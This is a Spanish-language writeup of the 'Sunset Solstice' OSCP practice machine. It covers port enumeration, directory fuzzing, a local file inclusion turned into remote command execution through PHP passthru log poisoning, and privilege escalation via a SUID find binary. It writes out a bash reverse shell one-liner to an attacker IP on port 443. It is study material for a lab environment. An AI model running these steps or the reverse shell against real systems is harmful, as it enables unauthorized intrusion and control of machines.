_____ _    _         _____  _____ _   _          _____   _____  
    / ____| |  | |  /\   |  __ \|_   _| \ | |   /\   / _ \ \ / / _ \ 
   | |  __| |  | | /  \  | |__) | | | |  \| |  /  \ | | | \ V / | | |
   | | |_ | |  | |/ /\ \ |  _  /  | | | . ` | / /\ \| | | |> <| | | |
   | |__| | |__| / ____ \| | \ \ _| |_| |\  |/ ____ \ |_| / . \ |_| |
    \_____|\____/_/    \_\_|  \_\_____|_| \_/_/    \_\___/_/ \_\___/ 
                                                                     
                    ./Guarina0x0
Titulo: OSCP - Sunset Solstice
Fecha: 19-10-2021
Descripcion: Enumeracion - LFI - RCE - URL Encoder

OSCP - Sunset Solstice Writeup

## Ping:

ping -c1 192.168.96.72

Mediante el comando ping vamos a trazar una ruta ICMP para ver si la maquina esta activa y ante que tipo de sistema operativo estamos

Podemos ver que la respuesta del ttl es 63 , el TTL en maquinas Linux es 64 y en maquinas Windows 128 , en este caso es 63 porque pasa por un nodo intermediario.

## Enumeracion :

Ahora vamos a proceder a ver que servicios tiene esta maquina abiertos para ello vamos a realizar una enumeracion de puertos:

nmap -sS -T5 -p- --open -n -Pn 192.168.96.72

  • Puerto 21 FTP
  • Puerto 22 SSH
  • Puerto 25 SMTP
  • Puerto 80 HTTP
  • Puerto 2121 CCPROXY-FTP
  • Puerto 3128 SQUID-HTTP
  • Como tenemos el puerto 80 abierto , vamos a tirar de la herramienta WhatWeb para ver si estamos ante algun gestor de contenido

    No nos reporta gran cosa, por lo que vamos aplicar un escaneo aplicando scripts basicos de enumeracion para saber la version y servicios que corren en los puertos

    Tenemos el usuario anonymous para el servicio FTP habilitado por lo que vamos a poder listar si contiene algun contenido , por el puerto 2121 ya que por el puerto 21 no esta activo el usuario anonimo

    ftp 192.168.72 2121

    Encontramos un directorio llamado pub que no contiene nada por lo que no nos va a proporcionar gran cosa

    Tenemos tambien el puerto 25 SMTP abierto por lo que mediante telnet nos vamos a conectar, para ver si encontramos algo interesante

    Y no nos reporta ninguna informacion

    ## Reconocimiento Web :

    Como contamos con 3 puertos con servicio web , vamos a proceder a listar su contenido , primero vamos a ingresar mediante el puerto 80 y vemos que nos da una alerta de que se esta configurando una base de datos y que lo intentemos mas tarde

    Si ingresamos por el puerto 3128 al servicio web , nos va a reportar otro error de Request

    Podemos realizar fuzzing , es una tecnica que se aplica para encontrar directorios web mediante fuerza bruta tirando de un diccionario , para ello vamos a usar la herramienta Wfuzz

    Nos encuentra 3 directorios web , pero si entramos al directorio no tenemos permiso y nos reporta un Forbidden

    Como contamos con otro servicio web en el puerto 8593 vamos a listar su contenido de la web y aqui vemos como una web de una libreria

    Podemos ver que usa como dos variables , una llamada "Main Page" y otra llamada "Book List" , si pinchamos en Book List y nos fijamos en la URL vamos a poder ver que se aplica "book=list"

    Se me viene un ataque llamado LFI (Local File Inclusion) , nos ayuda a listar contenido interno de la maquina a traves de la web , vamos a intentar listar el passwd para ver los usuarios del sistema

    Y podemos ver que es vulnerable a LFI , si tiramos de netcat para conectarnos al puerto 80 y tirar de la funcion de php llamada "passthru" le vamos a pasar una variable cmd y la vamos a introducir mediante el metodo GET

    Ahora hemos pasado de tener una vulnerabilidad llamada LFI a una vulnerabilidad llamada RCE (Remote Command Execution) , tenemos ejecucion remota de comandos , si tiramos un whoami podemos ver que nos dice que es el usuario www-data

    ## RCE:

    Si usamos un URL Encoder para encodear un comando que nos ejecute una shell interactiva hacia nuestro equipo atacante , vamos a tener acceso a la maquina victima

    bash -c 'bash -i >& /dev/tcp/192.168.49.178/443 0>&1'

    Y este es el resultado del comando encodeado

    Si le introducimos ese comando encodeado y le hacemos una peticion a la pagina mediante curl junto con la direccion completa y usando la variable que hemos inyectado y nos ponemos a la escucha nos debe dar una shell remota

    Nos ponemos a la escucha por el puerto 443 y tendremos una shell interactiva

    ## Escalada de Privilegios:

    Ahora vamos listar el sistema en busca de alguna manera de escalar privilegios , mediante capabilities , ficheros SUID , procesos ... ect.

    Si tiramos de ps -aux vamos a ver que tenemos un proceso corriendo interesante

    Si nos vamos al directorio y listamos el index.php , vamos a ver que el contenido que teniamos en el puerto 80 web

    Introducimos el comando para tener permisos SUID en el comando find y lo ingresamos a index.php

    Realizamos una peticion al index.php mediante curl por el puerto 57 interno y realizamos un find ejecutando una shell automaticamente nos vamos a convertir en el usuario Root

    Y ya podemos visualizar las 2 flag del usuario y de Root y tendriamos la maquina comprometida